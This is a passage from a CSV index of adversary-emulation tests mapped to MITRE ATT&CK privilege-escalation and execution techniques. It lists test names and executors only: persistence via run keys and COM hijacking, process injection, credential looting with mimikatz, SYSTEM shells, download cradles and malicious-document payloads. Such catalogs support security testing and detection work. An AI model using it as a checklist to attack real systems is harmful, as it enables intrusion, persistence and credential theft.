Keys / Startup Folder,18,Allowing custom application to execute during new RDP logon session,b051b3c0-66e7-4a81-916d-e6383bd3a669,command_prompt +privilege-escalation,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,19,Creating Boot Verification Program Key for application execution during successful boot,6e1666d5-3f2b-4b9a-80aa-f011322380d4,command_prompt +privilege-escalation,T1547.001,Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,20,Add persistence via Windows Context Menu,de47f4a0-2acb-416d-9a6b-cee584a4c4d1,command_prompt +privilege-escalation,T1098,Account Manipulation,1,Admin Account Manipulate,5598f7cb-cf43-455e-883a-f6008c5d46af,powershell +privilege-escalation,T1098,Account Manipulation,2,Domain Account and Group Manipulate,a55a22e9-a3d3-42ce-bd48-2653adb8f7a9,powershell +privilege-escalation,T1098,Account Manipulation,3,AWS - Create a group and add a user to that group,8822c3b0-d9f9-4daf-a043-49f110a31122,sh +privilege-escalation,T1098,Account Manipulation,4,Azure AD - adding user to Azure AD role,0e65ae27-5385-46b4-98ac-607a8ee82261,powershell +privilege-escalation,T1098,Account Manipulation,5,Azure AD - adding service principal to Azure AD role,92c40b3f-c406-4d1f-8d2b-c039bf5009e4,powershell +privilege-escalation,T1098,Account Manipulation,6,Azure - adding user to Azure role in subscription,1a94b3fc-b080-450a-b3d8-6d9b57b472ea,powershell +privilege-escalation,T1098,Account Manipulation,7,Azure - adding service principal to Azure role in subscription,c8f4bc29-a151-48da-b3be-4680af56f404,powershell +privilege-escalation,T1098,Account Manipulation,8,Azure AD - adding permission to application,94ea9cc3-81f9-4111-8dde-3fb54f36af4b,powershell +privilege-escalation,T1098,Account Manipulation,9,Password Change on Directory Service Restore Mode (DSRM) Account,d5b886d9-d1c7-4b6e-a7b0-460041bf2823,command_prompt +privilege-escalation,T1098,Account Manipulation,10,Domain Password Policy Check: Short Password,fc5f9414-bd67-4f5f-a08e-e5381e29cbd1,powershell +privilege-escalation,T1098,Account Manipulation,11,Domain Password Policy Check: No Number in Password,68190529-069b-4ffc-a942-919704158065,powershell +privilege-escalation,T1098,Account Manipulation,12,Domain Password Policy Check: No Special Character in Password,7d984ef2-2db2-4cec-b090-e637e1698f61,powershell +privilege-escalation,T1098,Account Manipulation,13,Domain Password Policy Check: No Uppercase Character in Password,b299c120-44a7-4d68-b8e2-8ba5a28511ec,powershell +privilege-escalation,T1098,Account Manipulation,14,Domain Password Policy Check: No Lowercase Character in Password,945da11e-977e-4dab-85d2-f394d03c5887,powershell +privilege-escalation,T1098,Account Manipulation,15,Domain Password Policy Check: Only Two Character Classes,784d1349-5a26-4d20-af5e-d6af53bae460,powershell +privilege-escalation,T1098,Account Manipulation,16,Domain Password Policy Check: Common Password Use,81959d03-c51f-49a1-bb24-23f1ec885578,powershell +privilege-escalation,T1098,Account Manipulation,17,GCP - Delete Service Account Key,7ece1dea-49f1-4d62-bdcc-5801e3292510,sh +privilege-escalation,T1547.006,Boot or Logon Autostart Execution: Kernel Modules and Extensions,1,Linux - Load Kernel Module via insmod,687dcb93-9656-4853-9c36-9977315e9d23,bash +privilege-escalation,T1547.006,Boot or Logon Autostart Execution: Kernel Modules and Extensions,2,MacOS - Load Kernel Module via kextload and kmutil,f4391089-d3a5-4dd1-ab22-0419527f2672,bash +privilege-escalation,T1547.006,Boot or Logon Autostart Execution: Kernel Modules and Extensions,3,MacOS - Load Kernel Module via KextManagerLoadKextWithURL(),f0007753-beb3-41ea-9948-760785e4c1e5,bash +privilege-escalation,T1547.006,Boot or Logon Autostart Execution: Kernel Modules and Extensions,4,Snake Malware Kernel Driver Comadmin,e5cb5564-cc7b-4050-86e8-f2d9eec1941f,powershell +privilege-escalation,T1053.006,Scheduled Task/Job: Systemd Timers,1,Create Systemd Service and Timer,f4983098-bb13-44fb-9b2c-46149961807b,bash +privilege-escalation,T1053.006,Scheduled Task/Job: Systemd Timers,2,Create a user level transient systemd service and timer,3de33f5b-62e5-4e63-a2a0-6fd8808c80ec,sh +privilege-escalation,T1053.006,Scheduled Task/Job: Systemd Timers,3,Create a system level transient systemd service and timer,d3eda496-1fc0-49e9-aff5-3bec5da9fa22,sh +privilege-escalation,T1055.012,Process Injection: Process Hollowing,1,Process Hollowing using PowerShell,562427b4-39ef-4e8c-af88-463a78e70b9c,powershell +privilege-escalation,T1055.012,Process Injection: Process Hollowing,2,RunPE via VBA,3ad4a037-1598-4136-837c-4027e4fa319b,powershell +privilege-escalation,T1055.012,Process Injection: Process Hollowing,3,Process Hollowing in Go using CreateProcessW WinAPI,c8f98fe1-c89b-4c49-a7e3-d60ee4bc2f5a,powershell +privilege-escalation,T1055.012,Process Injection: Process Hollowing,4,Process Hollowing in Go using CreateProcessW and CreatePipe WinAPIs (T1055.012),94903cc5-d462-498a-b919-b1e5ab155fee,powershell +privilege-escalation,T1546,Event Triggered Execution,1,Persistence with Custom AutodialDLL,aca9ae16-7425-4b6d-8c30-cad306fdbd5b,powershell +privilege-escalation,T1546,Event Triggered Execution,2,HKLM - Persistence using CommandProcessor AutoRun key (With Elevation),a574dafe-a903-4cce-9701-14040f4f3532,powershell +privilege-escalation,T1546,Event Triggered Execution,3,HKCU - Persistence using CommandProcessor AutoRun key (Without Elevation),36b8dbf9-59b1-4e9b-a3bb-36e80563ef01,powershell +privilege-escalation,T1546,Event Triggered Execution,4,WMI Invoke-CimMethod Start Process,adae83d3-0df6-45e7-b2c3-575f91584577,powershell +privilege-escalation,T1546,Event Triggered Execution,5,Adding custom debugger for Windows Error Reporting,17d1a3cc-3373-495a-857a-e5dd005fb302,command_prompt +privilege-escalation,T1546,Event Triggered Execution,6,Load custom DLL on mstsc execution,2db7852e-5a32-4ec7-937f-f4e027881700,command_prompt +privilege-escalation,T1546,Event Triggered Execution,7,Persistence using automatic execution of custom DLL during RDP session,b7fc4c3f-fe6e-479a-ba27-ef91b88536e3,command_prompt +privilege-escalation,T1546,Event Triggered Execution,8,Persistence via ErrorHandler.cmd script execution,547a4736-dd1c-4b48-b4fe-e916190bb2e7,powershell +privilege-escalation,T1546,Event Triggered Execution,9,Persistence using STARTUP-PATH in MS-WORD,f0027655-25ef-47b0-acaf-3d83d106156c,command_prompt +privilege-escalation,T1546.004,Event Triggered Execution: .bash_profile .bashrc and .shrc,1,Add command to .bash_profile,94500ae1-7e31-47e3-886b-c328da46872f,sh +privilege-escalation,T1546.004,Event Triggered Execution: .bash_profile .bashrc and .shrc,2,Add command to .bashrc,0a898315-4cfa-4007-bafe-33a4646d115f,sh +privilege-escalation,T1546.004,Event Triggered Execution: .bash_profile .bashrc and .shrc,3,Add command to .shrc,41502021-591a-4649-8b6e-83c9192aff53,sh +privilege-escalation,T1546.004,Event Triggered Execution: .bash_profile .bashrc and .shrc,4,Append to the system shell profile,694b3cc8-6a78-4d35-9e74-0123d009e94b,sh +privilege-escalation,T1546.004,Event Triggered Execution: .bash_profile .bashrc and .shrc,5,Append commands user shell profile,bbdb06bc-bab6-4f5b-8232-ba3fbed51d77,sh +privilege-escalation,T1546.004,Event Triggered Execution: .bash_profile .bashrc and .shrc,6,System shell profile scripts,8fe2ccfd-f079-4c03-b1a9-bd9b362b67d4,sh +privilege-escalation,T1546.004,Event Triggered Execution: .bash_profile .bashrc and .shrc,7,Create/Append to .bash_logout,37ad2f24-7c53-4a50-92da-427a4ad13f58,bash +privilege-escalation,T1134.005,Access Token Manipulation: SID-History Injection,1,Injection SID-History with mimikatz,6bef32e5-9456-4072-8f14-35566fb85401,command_prompt +privilege-escalation,T1547.002,Authentication Package,1,Authentication Package,be2590e8-4ac3-47ac-b4b5-945820f2fbe9,powershell +privilege-escalation,T1546.015,Event Triggered Execution: Component Object Model Hijacking,1,COM Hijacking - InprocServer32,48117158-d7be-441b-bc6a-d9e36e47b52b,powershell +privilege-escalation,T1546.015,Event Triggered Execution: Component Object Model Hijacking,2,Powershell Execute COM Object,752191b1-7c71-445c-9dbe-21bb031b18eb,powershell +privilege-escalation,T1546.015,Event Triggered Execution: Component Object Model Hijacking,3,COM Hijacking with RunDLL32 (Local Server Switch),123520cc-e998-471b-a920-bd28e3feafa0,powershell +privilege-escalation,T1546.015,Event Triggered Execution: Component Object Model Hijacking,4,COM hijacking via TreatAs,33eacead-f117-4863-8eb0-5c6304fbfaa9,powershell +privilege-escalation,T1574.009,Hijack Execution Flow: Path Interception by Unquoted Path,1,Execution of program.exe as service with unquoted service path,2770dea7-c50f-457b-84c4-c40a47460d9f,command_prompt +privilege-escalation,T1037.005,Boot or Logon Initialization Scripts: Startup Items,1,Add file to Local Library StartupItems,134627c3-75db-410e-bff8-7a920075f198,sh +privilege-escalation,T1037.005,Boot or Logon Initialization Scripts: Startup Items,2,Add launch script to launch daemon,fc369906-90c7-4a15-86fd-d37da624dde6,bash +privilege-escalation,T1037.005,Boot or Logon Initialization Scripts: Startup Items,3,Add launch script to launch agent,10cf5bec-49dd-4ebf-8077-8f47e420096f,bash +privilege-escalation,T1546.018,Event Triggered Execution: Python Startup Hooks,1,Python Startup Hook - atomic_hook.pth (Windows),57289962-21dc-4501-b756-80cd30608d9f,powershell +privilege-escalation,T1546.018,Event Triggered Execution: Python Startup Hooks,2,Python Startup Hook - usercustomize.py (Windows),05cc7a2c-ce32-46f2-a358-f27f76718c39,powershell +privilege-escalation,T1546.018,Event Triggered Execution: Python Startup Hooks,3,Python Startup Hook - atomic_hook.pth (Linux),a58c066d-f2f0-42a2-ab70-30af73f89e66,sh +privilege-escalation,T1546.018,Event Triggered Execution: Python Startup Hooks,4,Python Startup Hook - atomic_hook.pth (macOS),28ca4f81-fa96-47ff-8555-dde98017e89b,sh +privilege-escalation,T1546.018,Event Triggered Execution: Python Startup Hooks,5,Python Startup Hook - usercustomize.py (Linux / MacOS),6e78084a-a433-4702-a838-cc7b765d87e8,sh +privilege-escalation,T1546.010,Event Triggered Execution: AppInit DLLs,1,Install AppInit Shim,a58d9386-3080-4242-ab5f-454c16503d18,command_prompt +privilege-escalation,T1546.002,Event Triggered Execution: Screensaver,1,Set Arbitrary Binary as Screensaver,281201e7-de41-4dc9-b73d-f288938cbb64,command_prompt +privilege-escalation,T1543.001,Create or Modify System Process: Launch Agent,1,Launch Agent,a5983dee-bf6c-4eaf-951c-dbc1a7b90900,bash +privilege-escalation,T1543.001,Create or Modify System Process: Launch Agent,2,Event Monitor Daemon Persistence,11979f23-9b9d-482a-9935-6fc9cd022c3e,bash +privilege-escalation,T1543.001,Create or Modify System Process: Launch Agent,3,Launch Agent - Root Directory,66774fa8-c562-4bae-a58d-5264a0dd9dd7,bash +privilege-escalation,T1037.004,Boot or Logon Initialization Scripts: Rc.common,1,rc.common,97a48daa-8bca-4bc0-b1a9-c1d163e762de,bash +privilege-escalation,T1037.004,Boot or Logon Initialization Scripts: Rc.common,2,rc.common,c33f3d80-5f04-419b-a13a-854d1cbdbf3a,bash +privilege-escalation,T1037.004,Boot or Logon Initialization Scripts: Rc.common,3,rc.local,126f71af-e1c9-405c-94ef-26a47b16c102,sh +privilege-escalation,T1543.002,Create or Modify System Process: SysV/Systemd Service,1,Create Systemd Service,d9e4f24f-aa67-4c6e-bcbf-85622b697a7c,bash +privilege-escalation,T1543.002,Create or Modify System Process: SysV/Systemd Service,2,Create SysV Service,760fe8d2-79d9-494f-905e-a239a3df86f6,sh +privilege-escalation,T1543.002,Create or Modify System Process: SysV/Systemd Service,3,"Create Systemd Service file, Enable the service , Modify and Reload the service.",c35ac4a8-19de-43af-b9f8-755da7e89c89,bash +privilege-escalation,T1547.007,Boot or Logon Autostart Execution: Re-opened Applications,1,Copy in loginwindow.plist for Re-Opened Applications,5fefd767-ef54-4ac6-84d3-751ab85e8aba,sh +privilege-escalation,T1547.007,Boot or Logon Autostart Execution: Re-opened Applications,2,Re-Opened Applications using LoginHook,5f5b71da-e03f-42e7-ac98-d63f9e0465cb,sh +privilege-escalation,T1547.007,Boot or Logon Autostart Execution: Re-opened Applications,3,Append to existing loginwindow for Re-Opened Applications,766b6c3c-9353-4033-8b7e-38b309fa3a93,sh +privilege-escalation,T1098.002,Account Manipulation: Additional Email Delegate Permissions,1,EXO - Full access mailbox permission granted to a user,17d046be-fdd0-4cbb-b5c7-55c85d9d0714,powershell +privilege-escalation,T1037.001,Boot or Logon Initialization Scripts: Logon Script (Windows),1,Logon Scripts,d6042746-07d4-4c92-9ad8-e644c114a231,command_prompt +privilege-escalation,T1055.015,Process Injection: ListPlanting,1,Process injection ListPlanting,4f3c7502-b111-4dfe-8a6e-529307891a59,powershell +privilege-escalation,T1547.008,Boot or Logon Autostart Execution: LSASS Driver,1,Modify Registry to load Arbitrary DLL into LSASS - LsaDbExtPt,8ecef16d-d289-46b4-917b-0dba6dc81cf1,powershell +privilege-escalation,T1078.004,Valid Accounts: Cloud Accounts,1,Creating GCP Service Account and Service Account Key,9fdd83fd-bd53-46e5-a716-9dec89c8ae8e,sh +privilege-escalation,T1078.004,Valid Accounts: Cloud Accounts,2,Azure Persistence Automation Runbook Created or Modified,348f4d14-4bd3-4f6b-bd8a-61237f78b3ac,powershell +privilege-escalation,T1078.004,Valid Accounts: Cloud Accounts,3,GCP - Create Custom IAM Role,3a159042-69e6-4398-9a69-3308a4841c85,sh +privilege-escalation,T1053.002,Scheduled Task/Job: At,1,At.exe Scheduled task,4a6c0dc4-0f2a-4203-9298-a5a9bdc21ed8,command_prompt +privilege-escalation,T1053.002,Scheduled Task/Job: At,2,At - Schedule a job,7266d898-ac82-4ec0-97c7-436075d0d08e,sh +privilege-escalation,T1053.002,Scheduled Task/Job: At,3,At - Schedule a job via kubectl in a Pod,9ddf2e5e-7e2c-46c2-9940-3c2ff29c7213,bash +privilege-escalation,T1055.001,Process Injection: Dynamic-link Library Injection,1,Process Injection via mavinject.exe,74496461-11a1-4982-b439-4d87a550d254,powershell +privilege-escalation,T1055.001,Process Injection: Dynamic-link Library Injection,2,WinPwn - Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique,8b56f787-73d9-4f1d-87e8-d07e89cbc7f5,powershell +privilege-escalation,T1546.007,Event Triggered Execution: Netsh Helper DLL,1,Netsh Helper DLL Registration,3244697d-5a3a-4dfc-941c-550f69f91a4d,command_prompt +privilege-escalation,T1078.003,Valid Accounts: Local Accounts,1,Create local account with admin privileges,a524ce99-86de-4db6-b4f9-e08f35a47a15,command_prompt +privilege-escalation,T1078.003,Valid Accounts: Local Accounts,2,Create local account with admin privileges - MacOS,f1275566-1c26-4b66-83e3-7f9f7f964daa,bash +privilege-escalation,T1078.003,Valid Accounts: Local Accounts,3,Create local account with admin privileges using sysadminctl utility - MacOS,191db57d-091a-47d5-99f3-97fde53de505,bash +privilege-escalation,T1078.003,Valid Accounts: Local Accounts,4,Enable root account using dsenableroot utility - MacOS,20b40ea9-0e17-4155-b8e6-244911a678ac,bash +privilege-escalation,T1078.003,Valid Accounts: Local Accounts,5,Add a new/existing user to the admin group using dseditgroup utility - macOS,433842ba-e796-4fd5-a14f-95d3a1970875,bash +privilege-escalation,T1078.003,Valid Accounts: Local Accounts,6,WinPwn - Loot local Credentials - powerhell kittie,9e9fd066-453d-442f-88c1-ad7911d32912,powershell +privilege-escalation,T1078.003,Valid Accounts: Local Accounts,7,WinPwn - Loot local Credentials - Safetykatz,e9fdb899-a980-4ba4-934b-486ad22e22f4,powershell +privilege-escalation,T1078.003,Valid Accounts: Local Accounts,8,Create local account (Linux),02a91c34-8a5b-4bed-87af-501103eb5357,bash +privilege-escalation,T1078.003,Valid Accounts: Local Accounts,9,Reactivate a locked/expired account (Linux),d2b95631-62d7-45a3-aaef-0972cea97931,bash +privilege-escalation,T1078.003,Valid Accounts: Local Accounts,10,Reactivate a locked/expired account (FreeBSD),09e3380a-fae5-4255-8b19-9950be0252cf,sh +privilege-escalation,T1078.003,Valid Accounts: Local Accounts,11,Login as nobody (Linux),3d2cd093-ee05-41bd-a802-59ee5c301b85,bash +privilege-escalation,T1078.003,Valid Accounts: Local Accounts,12,Login as nobody (freebsd),16f6374f-7600-459a-9b16-6a88fd96d310,sh +privilege-escalation,T1078.003,Valid Accounts: Local Accounts,13,Use PsExec to elevate to NT Authority\SYSTEM account,6904235f-0f55-4039-8aed-41c300ff7733,command_prompt +privilege-escalation,T1574.012,Hijack Execution Flow: COR_PROFILER,1,User scope COR_PROFILER,9d5f89dc-c3a5-4f8a-a4fc-a6ed02e7cb5a,powershell +privilege-escalation,T1574.012,Hijack Execution Flow: COR_PROFILER,2,System Scope COR_PROFILER,f373b482-48c8-4ce4-85ed-d40c8b3f7310,powershell +privilege-escalation,T1574.012,Hijack Execution Flow: COR_PROFILER,3,Registry-free process scope COR_PROFILER,79d57242-bbef-41db-b301-9d01d9f6e817,powershell +execution,T1053.005,Scheduled Task/Job: Scheduled Task,1,Scheduled Task Startup Script,fec27f65-db86-4c2d-b66c-61945aee87c2,command_prompt +execution,T1053.005,Scheduled Task/Job: Scheduled Task,2,Scheduled task Local,42f53695-ad4a-4546-abb6-7d837f644a71,command_prompt +execution,T1053.005,Scheduled Task/Job: Scheduled Task,3,Scheduled task Remote,2e5eac3e-327b-4a88-a0c0-c4057039a8dd,command_prompt +execution,T1053.005,Scheduled Task/Job: Scheduled Task,4,Powershell Cmdlet Scheduled Task,af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd,powershell +execution,T1053.005,Scheduled Task/Job: Scheduled Task,5,Task Scheduler via VBA,ecd3fa21-7792-41a2-8726-2c5c673414d3,powershell +execution,T1053.005,Scheduled Task/Job: Scheduled Task,6,WMI Invoke-CimMethod Scheduled Task,e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b,powershell +execution,T1053.005,Scheduled Task/Job: Scheduled Task,7,Scheduled Task Executing Base64 Encoded Commands From Registry,e895677d-4f06-49ab-91b6-ae3742d0a2ba,command_prompt +execution,T1053.005,Scheduled Task/Job: Scheduled Task,8,Import XML Schedule Task with Hidden Attribute,cd925593-fbb4-486d-8def-16cbdf944bf4,powershell +execution,T1053.005,Scheduled Task/Job: Scheduled Task,9,PowerShell Modify A Scheduled Task,dda6fc7b-c9a6-4c18-b98d-95ec6542af6d,powershell +execution,T1053.005,Scheduled Task/Job: Scheduled Task,10,"Scheduled Task (""Ghost Task"") via Registry Key Manipulation",704333ca-cc12-4bcf-9916-101844881f54,command_prompt +execution,T1053.005,Scheduled Task/Job: Scheduled Task,11,Scheduled Task Persistence via CompMgmt.msc,8fcfa3d5-ea7d-4e1c-bd3e-3c4ed315b7d2,command_prompt +execution,T1053.005,Scheduled Task/Job: Scheduled Task,12,Scheduled Task Persistence via Eventviewer.msc,02124c37-767e-4b76-9383-c9fc366d9d4c,command_prompt +execution,T1047,Windows Management Instrumentation,1,WMI Reconnaissance Users,c107778c-dcf5-47c5-af2e-1d058a3df3ea,command_prompt +execution,T1047,Windows Management Instrumentation,2,WMI Reconnaissance Processes,5750aa16-0e59-4410-8b9a-8a47ca2788e2,command_prompt +execution,T1047,Windows Management Instrumentation,3,WMI Reconnaissance Software,718aebaa-d0e0-471a-8241-c5afa69c7414,command_prompt +execution,T1047,Windows Management Instrumentation,4,WMI Reconnaissance List Remote Services,0fd48ef7-d890-4e93-a533-f7dedd5191d3,command_prompt +execution,T1047,Windows Management Instrumentation,5,WMI Execute Local Process,b3bdfc91-b33e-4c6d-a5c8-d64bee0276b3,command_prompt +execution,T1047,Windows Management Instrumentation,6,WMI Execute Remote Process,9c8ef159-c666-472f-9874-90c8d60d136b,command_prompt +execution,T1047,Windows Management Instrumentation,7,Create a Process using WMI Query and an Encoded Command,7db7a7f9-9531-4840-9b30-46220135441c,command_prompt +execution,T1047,Windows Management Instrumentation,8,Create a Process using obfuscated Win32_Process,10447c83-fc38-462a-a936-5102363b1c43,powershell +execution,T1047,Windows Management Instrumentation,9,WMI Execute rundll32,00738d2a-4651-4d76-adf2-c43a41dfb243,command_prompt +execution,T1047,Windows Management Instrumentation,10,Application uninstall using WMIC,c510d25b-1667-467d-8331-a56d3e9bc4ff,command_prompt +execution,T1129,Server Software Component,1,ESXi - Install a custom VIB on an ESXi host,7f843046-abf2-443f-b880-07a83cf968ec,command_prompt +execution,T1059.007,Command and Scripting Interpreter: JavaScript,1,JScript execution to gather local computer information via cscript,01d75adf-ca1b-4dd1-ac96-7c9550ad1035,command_prompt +execution,T1059.007,Command and Scripting Interpreter: JavaScript,2,JScript execution to gather local computer information via wscript,0709945e-4fec-4c49-9faf-c3c292a74484,command_prompt +execution,T1053.007,Kubernetes Cronjob,1,ListCronjobs,ddfb0bc1-3c3f-47e9-a298-550ecfefacbd,bash +execution,T1053.007,Kubernetes Cronjob,2,CreateCronjob,f2fa019e-fb2a-4d28-9dc6-fd1a9b7f68c3,bash +execution,T1559.002,Inter-Process Communication: Dynamic Data Exchange,1,Execute Commands,f592ba2a-e9e8-4d62-a459-ef63abd819fd,manual +execution,T1559.002,Inter-Process Communication: Dynamic Data Exchange,2,Execute PowerShell script via Word DDE,47c21fb6-085e-4b0d-b4d2-26d72c3830b3,command_prompt +execution,T1559.002,Inter-Process Communication: Dynamic Data Exchange,3,DDEAUTO,cf91174c-4e74-414e-bec0-8d60a104d181,manual +execution,T1204.002,User Execution: Malicious File,1,OSTap Style Macro Execution,8bebc690-18c7-4549-bc98-210f7019efff,powershell +execution,T1204.002,User Execution: Malicious File,2,OSTap Payload Download,3f3af983-118a-4fa1-85d3-ba4daa739d80,command_prompt +execution,T1204.002,User Execution: Malicious File,3,Maldoc choice flags command execution,0330a5d2-a45a-4272-a9ee-e364411c4b18,powershell +execution,T1204.002,User Execution: Malicious File,4,OSTAP JS version,add560ef-20d6-4011-a937-2c340f930911,powershell +execution,T1204.002,User Execution: Malicious File,5,Office launching .bat file from AppData,9215ea92-1ded-41b7-9cd6-79f9a78397aa,powershell +execution,T1204.002,User Execution: Malicious File,6,Excel 4 Macro,4ea1fc97-8a46-4b4e-ba48-af43d2a98052,powershell +execution,T1204.002,User Execution: Malicious File,7,Headless Chrome code execution via VBA,a19ee671-ed98-4e9d-b19c-d1954a51585a,powershell +execution,T1204.002,User Execution: Malicious File,8,Potentially Unwanted Applications (PUA),02f35d62-9fdc-4a97-b899-a5d9a876d295,powershell +execution,T1204.002,User Execution: Malicious File,9,Office Generic Payload Download,5202ee05-c420-4148-bf5e-fd7f7d24850c,powershell +execution,T1204.002,User Execution: Malicious File,10,LNK Payload Download,581d7521-9c4b-420e-9695-2aec5241167f,powershell +execution,T1204.002,User Execution: Malicious File,11,Mirror Blast Emulation,24fd9719-7419-42dd-bce6-ab3463110b3c,powershell +execution,T1204.002,User Execution: Malicious File,12,ClickFix Campaign - Abuse RunMRU to Launch mshta via PowerShell,3f3120f0-7e50-4be2-88ae-54c61230cb9f,powershell +execution,T1204.002,User Execution: Malicious File,13,Simulate Click-Fix via Downloaded BAT File,22386853-f68d-4b50-a362-de235127c443,powershell +execution,T1053.003,Scheduled Task/Job: Cron,1,Cron - Replace crontab with referenced file,435057fb-74b1-410e-9403-d81baf194f75,sh +execution,T1053.003,Scheduled Task/Job: Cron,2,Cron - Add script to all cron subfolders,b7d42afa-9086-4c8a-b7b0-8ea3faa6ebb0,bash +execution,T1053.003,Scheduled Task/Job: Cron,3,Cron - Add script to /etc/cron.d folder,078e69eb-d9fb-450e-b9d0-2e118217c846,sh +execution,T1053.003,Scheduled Task/Job: Cron,4,Cron - Add script to /var/spool/cron/crontabs/ folder,2d943c18-e74a-44bf-936f-25ade6cccab4,bash +execution,T1059.002,Command and Scripting Interpreter: AppleScript,1,AppleScript,3600d97d-81b9-4171-ab96-e4386506e2c2,sh +execution,T1106,Native API,1,Execution through API - CreateProcess,99be2089-c52d-4a4a-b5c3-261ee42c8b62,command_prompt +execution,T1106,Native API,2,WinPwn - Get SYSTEM shell - Pop System Shell using CreateProcess technique,ce4e76e6-de70-4392-9efe-b281fc2b4087,powershell +execution,T1106,Native API,3,WinPwn - Get SYSTEM shell - Bind System Shell using CreateProcess technique,7ec5b74e-8289-4ff2-a162-b6f286a33abd,powershell +execution,T1106,Native API,4,WinPwn - Get SYSTEM shell - Pop System Shell using NamedPipe Impersonation technique,e1f93a06-1649-4f07-89a8-f57279a7d60e,powershell +execution,T1106,Native API,5,Run Shellcode via Syscall in Go,ae56083f-28d0-417d-84da-df4242da1f7c,powershell +execution,T1059.010,Command and Scripting Interpreter: AutoHotKey & AutoIT,1,AutoHotKey script execution,7b5d350e-f758-43cc-a761-8e3f6b052a03,powershell +execution,T1610,Deploy a container,1,Deploy Docker container,59aa6f26-7620-417e-9318-589e0fb7a372,bash +execution,T1059,Command and Scripting Interpreter,1,AutoIt Script Execution,a9b93f17-31cb-435d-a462-5e838a2a6026,powershell +execution,T1609,Kubernetes Exec Into Container,1,ExecIntoContainer,d03bfcd3-ed87-49c8-8880-44bb772dea4b,bash +execution,T1609,Kubernetes Exec Into Container,2,Docker Exec Into Container,900e2c49-221b-42ec-ae3c-4717e41e6219,bash +execution,T1569.001,System Services: Launchctl,1,Launchctl,6fb61988-724e-4755-a595-07743749d4e2,bash +execution,T1072,Software Deployment Tools,1,Radmin Viewer Utility,b4988cad-6ed2-434d-ace5-ea2670782129,command_prompt +execution,T1072,Software Deployment Tools,2,PDQ Deploy RAT,e447b83b-a698-4feb-bed1-a7aaf45c3443,command_prompt +execution,T1072,Software Deployment Tools,3,Deploy 7-Zip Using Chocolatey,2169e8b0-2ee7-44cb-8a6e-d816a5db7d8a,powershell +execution,T1059.001,Command and Scripting Interpreter: PowerShell,1,Mimikatz,f3132740-55bc-48c4-bcc0-758a459cd027,command_prompt +execution,T1059.001,Command and Scripting Interpreter: PowerShell,2,Run BloodHound from local disk,a21bb23e-e677-4ee7-af90-6931b57b6350,powershell +execution,T1059.001,Command and Scripting Interpreter: PowerShell,3,Run Bloodhound from Memory using Download Cradle,bf8c1441-4674-4dab-8e4e-39d93d08f9b7,powershell +execution,T1059.001,Command and Scripting Interpreter: PowerShell,4,Mimikatz - Cradlecraft PsSendKeys,af1800cf-9f9d-4fd1-a709-14b1e6de020d,powershell +execution,T1059.001,Command and Scripting Interpreter: PowerShell,5,Invoke-AppPathBypass,06a220b6-7e29-4bd8-9d07-5b4d86742372,command_prompt +execution,T1059.001,Command and Scripting Interpreter: PowerShell,6,Powershell MsXml COM object - with prompt,388a7340-dbc1-4c9d-8e59-b75ad8c6d5da,command_prompt +execution,T1059.001,Command and Scripting Interpreter: PowerShell,7,Powershell XML requests,4396927f-e503-427b-b023-31049b9b09a6,command_prompt +execution,T1059.001,Command and Scripting Interpreter: PowerShell,8,Powershell invoke mshta.exe download,8a2ad40b-12c7-4b25-8521-2737b0a415af,command_prompt +execution,T1059.001,Command and Scripting Interpreter: PowerShell,9,Powershell Invoke-DownloadCradle,cc50fa2a-a4be-42af-a88f-e347ba0bf4d7,manual +execution,T1059.001,Command and Scripting Interpreter: PowerShell,10,PowerShell Fileless Script Execution,fa050f5e-bc75-4230-af73-b6fd7852cd73,powershell +execution,T1059.001,Command and Scripting Interpreter: PowerShell,11,NTFS Alternate Data Stream Access,8e5c5532-1181-4c1d-bb79-b3a9f5dbd680,powershell +execution,T1059.001,Command and Scripting Interpreter: PowerShell,12,PowerShell Session Creation and Use,7c1acec2-78fa-4305-a3e0-db2a54cddecd,powershell +execution,T1059.001,Command and Scripting Interpreter: PowerShell,13,ATHPowerShellCommandLineParameter -Command parameter variations,686a9785-f99b-41d4-90df-66ed515f81d7,powershell +execution,T1059.001,Command and Scripting Interpreter: PowerShell,14,ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments,1c0a870f-dc74-49cf-9afc-eccc45e58790,powershell +execution,T1059.001,Command and Scripting Interpreter: PowerShell,15,ATHPowerShellCommandLineParameter -EncodedCommand parameter variations,86a43bad-12e3-4e85-b97c-4d5cf25b95c3,powershell +execution,T1059.001,Command and Scripting Interpreter: PowerShell,16,ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments,0d181431-ddf3-4826-8055-2dbf63ae848b,powershell +execution,T1059.001,Command and Scripting Interpreter: PowerShell,17,PowerShell Command Execution,a538de64-1c74-46ed-aa60-b995ed302598,command_prompt +execution,T1059.001,Command and Scripting Interpreter: PowerShell,18,PowerShell Invoke Known Malicious Cmdlets,49eb9404-5e0f-4031-a179-b40f7be385e3,powershell +execution,T1059.001,Command and Scripting Interpreter: PowerShell,19,PowerUp Invoke-AllChecks,1289f78d-22d2-4590-ac76-166737e1811b,powershell +execution,T1059.001,Command and Scripting Interpreter: PowerShell,20,Abuse Nslookup with DNS Records,999bff6d-dc15-44c9-9f5c-e1051bfc86e1,powershell +execution,T1059.001,Command and Scripting Interpreter: PowerShell,21,SOAPHound - Dump BloodHound Data,6a5b2a50-d037-4879-bf01-43d4d6cbf73f,powershell +execution,T1059.001,Command and Scripting Interpreter: PowerShell,22,SOAPHound - Build Cache,4099086c-1470-4223-8085-8186e1ed5948,powershell +execution,T1053.006,Scheduled Task/Job: Systemd Timers,1,Create Systemd Service and Timer,f4983098-bb13-44fb-9b2c-46149961807b,bash +execution,T1053.006,Scheduled Task/Job: Systemd Timers,2,Create a user level transient systemd service and timer,3de33f5b-62e5-4e63-a2a0-6fd8808c80ec,sh +execution,T1053.006,Scheduled Task/Job: Systemd Timers,3,Create a system level transient systemd service and timer,d3eda496-1fc0-49e9-aff5-3bec5da9fa22,sh +execution,T1059.004,Command and Scripting Interpreter: Bash,1,Create and Execute Bash Shell Script,7e7ac3ed-f795-4fa5-b711-09d6fbe9b873,sh +execution,T1059.004,Command and Scripting Interpreter: Bash,2,Command-Line Interface,d0c88567-803d-4dca-99b4-7ce65e7b257c,sh +execution,T1059.004,Command and Scripting Interpreter: Bash,3,Harvest SUID executable files,46274fc6-08a7-4956-861b-24cbbaa0503c,sh 